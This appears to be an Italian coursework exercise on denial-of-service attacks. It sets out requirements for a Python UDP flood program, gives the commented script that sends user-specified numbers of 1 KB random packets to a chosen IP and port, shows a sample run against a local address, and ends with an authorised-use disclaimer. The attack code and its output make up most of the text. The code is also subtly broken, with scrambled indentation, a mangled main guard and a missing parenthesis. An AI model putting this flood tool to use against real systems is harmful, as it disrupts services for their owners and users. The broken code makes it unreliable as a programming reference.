Requisiti del Programma:

Input dell'IP Target:

- ○ Il programma deve richiedere all'utente di inserire l'IP della macchina target. Input della Porta Target:
- ○ Il programma deve richiedere all'utente di inserire la porta UDP della macchina target.

Costruzione del Pacchetto:

- ○ La grandezza dei pacchetti da inviare deve essere di 1 KB per pacchetto.
- ○ Suggerimento: per costruire il pacchetto da 1 KB, potete utilizzare il modulo random per la generazione di byte casuali.

Numero di Pacchetti da Inviare:

- ○ Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

Un UDP flood è un tipo di attacco DoS (Denial of Service) che consiste nell'invio massivo di pacchetti UDP verso una macchina target, sovraccaricandola.

Generazione script in python

```
import socket          #libreria  per creare e usare connessioni di rete (UDP in questo caso).
import random          #libreria per generare dati casuali da inviare

    def udp_flood(target_ip, target_port, packet_count):    #definizione della funzione che prende in input
    l indirizzo ip, la porta UDP targhet e il numero dei pacchetti.
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Crea un socket UDP (con SOCK_DGRAM) usando IPv4 (AF_INET)
        data = random._urandom(1024)  # dati casuali da inviare con ogni pacchetto, urandom() usa il
              generatore di numeri casuali del sistema operativo
        print(f"Inizio UDP flood su {target_ip}:{target_port} con {packet_count}
              pacchetti...")


              #È semplicemente un messaggio informativo all'inizio del programma, per
                   confermare cosa sta per essere fatto, utile per:

        for i in range(packet_count):
              try:
                    sock.sendto(data, (target_ip, target_port))
                       #Invia packet_count pacchetti al target ,ogni pacchetto
                   contiene gli stessi 1024 byte di dati casuali.Viene stampato il
                   numero del pacchetto inviato.


                      print(f"Pacchetto {i+1} inviato a {target_ip}:{target_port}")
        #stampa i  pacchetti con relativo targhet ip e porta
```

#Invia packet_count pacchetti al target,ogni pacchetto contiene gli stessi 1024 byte di dati casuali ,viene stampato il numero del pacchetto inviato.

```
            except Exception as e:
                  print(f"Errore durante l'invio: {e}")
                  break
```

#Se c'è un errore durante l'invio (es. indirizzo sbagliato), lo stampa e interrompe il ciclo.

```
      print("UDP flood completato.")
```

```
if name == "main":
    ip = input("Inserisci l'indirizzo IP del target: ").strip()
    port = int(input("Inserisci la porta UDP del target: ").strip())
    count = int(input("Inserisci il numero di pacchetti da inviare: ").strip()
    udp_flood(ip, port, count)
```

#Questa parte viene eseguita all avvio del programma,richiede all'utente i 3 parametri: IP, porta, numero pacchetti,poi chiama la funzione udp_flood() con quei valori.

Esempio d' uso:

Inserisci l'indirizzo IP del target: 192.168.1.50
Inserisci la porta UDP del target: 4000
Inserisci il numero di pacchetti da inviare: 20

Inizio UDP flood su 192.168.1.50:4000 con 20 pacchetti...
Pacchetto 1 inviato a 192.168.1.50:4000
Pacchetto 2 inviato a 192.168.1.50:4000
Pacchetto 3 inviato a 192.168.1.50:4000
Pacchetto 4 inviato a 192.168.1.50:4000
Pacchetto 5 inviato a 192.168.1.50:4000
Pacchetto 6 inviato a 192.168.1.50:4000
Pacchetto 7 inviato a 192.168.1.50:4000
Pacchetto 8 inviato a 192.168.1.50:4000
Pacchetto 9 inviato a 192.168.1.50:4000
Pacchetto 10 inviato a 192.168.1.50:4000
Pacchetto 11 inviato a 192.168.1.50:4000
Pacchetto 12 inviato a 192.168.1.50:4000
Pacchetto 13 inviato a 192.168.1.50:4000
Pacchetto 14 inviato a 192.168.1.50:4000

Pacchetto 15 inviato a 192.168.1.50:4000
Pacchetto 16 inviato a 192.168.1.50:4000
Pacchetto 17 inviato a 192.168.1.50:4000
Pacchetto 18 inviato a 192.168.1.50:4000
Pacchetto 19 inviato a 192.168.1.50:4000
Pacchetto 20 inviato a 192.168.1.50:4000
UDP flood completato.

In conclusione, il programma Python che abbiamo creato simula un attacco di tipo UDP flood inviando pacchetti casuali a un indirizzo IP e porta specificati. Utilizza un socket UDP per inviare i pacchetti e consente di personalizzare il numero di pacchetti da inviare. Questo tipo di test può essere utile in ambienti controllati per monitorare la capacità di risposta di un sistema o per test di stress. È importante ricordare che questo script va usato solo in ambienti autorizzati e non deve essere eseguito senza il permesso del destinatario. La gestione del traffico di rete è fondamentale per prevenire abusi e garantire la sicurezza dei sistemi.